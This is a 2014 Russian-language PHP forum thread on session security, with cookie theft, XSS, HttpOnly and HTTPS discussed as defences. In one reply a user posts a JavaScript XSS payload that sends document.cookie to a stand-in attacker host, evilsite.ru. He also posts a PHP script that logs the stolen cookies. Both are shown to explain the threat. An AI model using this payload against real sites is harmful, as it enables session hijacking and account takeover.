Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Сессии и их безопастность

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: или корявые руки
imper
Отправлено: 10 Апреля, 2014 - 18:41:22
Post Id



Частый гость


Покинул форум
Сообщений всего: 134
Дата рег-ции: Февр. 2012  
Откуда: Тольятти


Помог: 2 раз(а)

[+]


Всем привет.
Писал сайт, только сейчас задумался о безопасности...
Авторизация происходит стандартным образом сверяются логин и пасс шифрованные по базе, если всё кул, то в сессию пихаем id юзера из базы и кое какую инфу...
допустим id юзера в базе = 3 пихаем в

вообщем вся суть:
я везде проверяю
PHP:
скопировать код в буфер обмена
  1.  !empty($_SESSION['id_user']) {
  2.  
  3. //то соответственно какие то действия с бозой и т д
  4.  
  5. }


вот в чём прикол, можно же спереть из куки идентификатор сессии и зайти под пользователем с id = 3 ???!!!!
без особых усилий

если так то время жизни сессии ставить маленькоенебольшое? и каждый раз не просто вставлять id а шифровать id и добавлять новую сгенерированную строку??


-----
Самое лучшее решение проблемы
самое простое
 
 Top
Мелкий Супермодератор
Отправлено: 10 Апреля, 2014 - 18:45:19
Post Id



Активный участник


Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009  
Откуда: Россия, Санкт-Петербург


Помог: 618 раз(а)




Сперва соприте чужую куку.
Если вам это удастся - весь мир в ваших руках.


-----
PostgreSQL DBA
 
 Top
esterio
Отправлено: 10 Апреля, 2014 - 18:53:37
Post Id



Активный участник


Покинул форум
Сообщений всего: 5025
Дата рег-ции: Нояб. 2012  
Откуда: Украина, Львов


Помог: 127 раз(а)




хм XSS как раз призван спереть куку
CORS AJAX на другой сайт с document.cookie;
Или невидимый iframe.
Но если фильтровать данные на входе и на выходе то такого не должно произойти.
А еще есть http_only в куках, что еще сильнее увеличивать сложность спереть куку.
Но есть же трояни всякые ...
 
 Top
IllusionMH
Отправлено: 10 Апреля, 2014 - 18:56:55
Post Id



Активный участник


Покинул форум
Сообщений всего: 4254
Дата рег-ции: Февр. 2011  
Откуда: .kh.ua


Помог: 242 раз(а)




Даешь HTTPS (не забыть заапдейтить OpenSSL)
 
 Top
imper
Отправлено: 10 Апреля, 2014 - 19:03:45
Post Id



Частый гость


Покинул форум
Сообщений всего: 134
Дата рег-ции: Февр. 2012  
Откуда: Тольятти


Помог: 2 раз(а)

[+]


esterio - ну xss это дело старое, я через pdo к базе обращаюсь, и ещё и данные фильтрую, так что пускай хоть об xss'сятся Голливудская улыбкаD


IllusionMH - да уж, openssl от слова open, особенно после его "вседырчатости"... ды и денюжку он стоит Недовольство, огорчение


-----
Самое лучшее решение проблемы
самое простое
 
 Top
IllusionMH
Отправлено: 10 Апреля, 2014 - 19:12:26
Post Id



Активный участник


Покинул форум
Сообщений всего: 4254
Дата рег-ции: Февр. 2011  
Откуда: .kh.ua


Помог: 242 раз(а)




imper, во-первых - openssl бесплатный, а во-вторых - баг, даже такой крупный - не показатель дырявости(а сколько багов/дырок в вашем коде?). в-третьих, не одним openssl едины.

(Отредактировано автором: 10 Апреля, 2014 - 19:17:37)

 
 Top
esterio
Отправлено: 10 Апреля, 2014 - 19:18:22
Post Id



Активный участник


Покинул форум
Сообщений всего: 5025
Дата рег-ции: Нояб. 2012  
Откуда: Украина, Львов


Помог: 127 раз(а)




imper пишет:
я через pdo к базе обращаюсь, и ещё и данные фильтрую, так что пускай хоть об xss'сятся Голливудская улыбкаD

как связаны PDO и XSS?
 
 Top
IllusionMH
Отправлено: 10 Апреля, 2014 - 19:26:57
Post Id



Активный участник


Покинул форум
Сообщений всего: 4254
Дата рег-ции: Февр. 2011  
Откуда: .kh.ua


Помог: 242 раз(а)




esterio, так же как и SQL Injection и XSS Радость
 
 Top
teddy
Отправлено: 10 Апреля, 2014 - 19:28:46
Post Id


Участник


Покинул форум
Сообщений всего: 1462
Дата рег-ции: Апр. 2013  


Помог: 91 раз(а)




imper пишет:
ну xss это дело старое

Что значит старое? Использование PDO не имеет к XSS отношения.

Дополню немного esterio по кукокраже небольшим примером
CODE (javascript):
скопировать код в буфер обмена
  1. var img = new Image;
  2. img.src = 'http://evilsite.ru/evilscript.php?xss='+document.cookie;
  3. document.body.appendChild(img);


И всё, капец куке. Когда браузер увидит что ему нужно забрать картинку, он полезет по указанному злому адресу за картинкой(подразумевается, что есть XSS уязвимость). А в файлике со злым скриптом достаточно будет сделать следующее:
PHP:
скопировать код в буфер обмена
  1. if(isset($_GET['xss'])){
  2.     file_put_contents('xsslog.txt', $_GET['xss'], FILE_APPEND);
  3. }

И тю-тю. Записали в себе лог содержимое кук.

esterio пишет:
А еще есть http_only в куках, что еще сильнее увеличивать сложность спереть куку.

Жаль, что не кроссбраузерно. Но использовать однозначно не помешает.
(Добавление)
Вывод:
1. Читаем что такое XSS атака
2. Находим решение на основе вышеуказанных ответов и применяем.
3. Не оставляем дырок.

(Отредактировано автором: 10 Апреля, 2014 - 19:44:28)

 
 Top
IllusionMH
Отправлено: 10 Апреля, 2014 - 19:35:41
Post Id



Активный участник


Покинул форум
Сообщений всего: 4254
Дата рег-ции: Февр. 2011  
Откуда: .kh.ua


Помог: 242 раз(а)




teddy пишет:
Жаль, что не кроссбраузерно.

teddy, WAT?
https://www[dot]owasp[dot]org/index.php/[dot][dot][dot]porting_HttpOnly
 
 Top
teddy
Отправлено: 10 Апреля, 2014 - 19:43:28
Post Id


Участник


Покинул форум
Сообщений всего: 1462
Дата рег-ции: Апр. 2013  


Помог: 91 раз(а)




IllusionMH
Описание из функции setcookie
php.net пишет:

httponly
Если задано TRUE, cookie будут доступны только через HTTP протокол. То есть cookie в этом случае не будут доступны скриптовым языкам, вроде JavaScript. Эта возможность была предложена в качестве меры, эффективно снижающей количество краж личных данных посредством XSS атак (несмотря на то, что поддерживается не всеми броузерами). Стоит однако же отметить, что вокруг этой возможности часто возникают споры о ее эффективности и целесообразности. Аргумент добавлен в PHP 5.2.0. Может принимать значения TRUE или FALSE.


Описание конфига для сессионных кук
php.net пишет:
session.cookie_httponly boolean
Отметка, согласно которой доступ к cookies может быть получен только через HTTP протокол. Это означает, что cookies не будут доступны через скриптовые языки, такие как JavaScript. Данная настройка позволяет эффективно защитить от XSS атак (к сожалению, эта функция поддерживается не всеми браузерами).


Такие же надписи как и у тебя (Сам везде тестил?) Улыбка Я нет.. лень мне, а мануалу доверяю ;)
IllusionMH пишет:
openssl бесплатный

если не платить то это будет работать но браузер будет выдавать предупреждение что не удобно для пользователя - или я что то проспал? Улыбка
но для личного пользования пойдет

(Отредактировано автором: 10 Апреля, 2014 - 19:47:06)

 
 Top
IllusionMH
Отправлено: 10 Апреля, 2014 - 20:07:50
Post Id



Активный участник


Покинул форум
Сообщений всего: 4254
Дата рег-ции: Февр. 2011  
Откуда: .kh.ua


Помог: 242 раз(а)




teddy, а теперь найдите когда конкретно эти участки текста были обновлены в последний раз.
Подозреваю, что текст появился с релизом PHP 5.2 (релизнули 2.11.2006) - это уже устаревшая информация.

На странице OWASP есть инфа за конец 2011 года, которая говорит что этот параметр поддерживается. Причем в отличии от доки php, они заинтересованы в предоставлении достоверной инфы. (не говорю, что в доках php нагло врут, просто никто сломя голову не полезет обновлять эти строки с выходом очередной версии браузера)

И можно ссылку на стоимость OpenSSL? У меня есть подозрение, что в этой теме путают OpenSSL с SSL сертификатами.

(Отредактировано автором: 10 Апреля, 2014 - 20:09:39)

 
 Top
teddy
Отправлено: 10 Апреля, 2014 - 20:32:44
Post Id


Участник


Покинул форум
Сообщений всего: 1462
Дата рег-ции: Апр. 2013  


Помог: 91 раз(а)




IllusionMH пишет:
не говорю, что в доках php нагло врут, просто никто сломя голову не полезет обновлять эти строки с выходом очередной версии браузера

Даже если это так то не факт что все ходят на сайт с последними версиями браузера

IllusionMH пишет:
У меня есть подозрение, что в этой теме путают OpenSSL с SSL сертификатами.

Да сори. я сертификат имел ввиду, перепутал
 
 Top
IllusionMH
Отправлено: 10 Апреля, 2014 - 21:23:26
Post Id



Активный участник


Покинул форум
Сообщений всего: 4254
Дата рег-ции: Февр. 2011  
Откуда: .kh.ua


Помог: 242 раз(а)




teddy, товарищи которые сидят на ие6, опера9.5, хром 3, сафари3 и т.д. - сами себе враги. 2011 год - 99% поддерживают. Сегодня апрель 2014. Те версии браузеров уже вымерли естественным путем.
 
 Top
teddy
Отправлено: 10 Апреля, 2014 - 21:40:29
Post Id


Участник


Покинул форум
Сообщений всего: 1462
Дата рег-ции: Апр. 2013  


Помог: 91 раз(а)




IllusionMH
Ну насчет юзеров допотопных браузеров согласен, но тем не менее, такие есть и это уже говорит о том, что http_only не может работать везде - вот о чем я говорю Улыбка Я ж не говорю что надо выкинуть эту возможность и не утверждаю что все пользуются IE6 и прочим старьем...

(Отредактировано автором: 10 Апреля, 2014 - 21:41:04)

 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Вопросы новичков »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB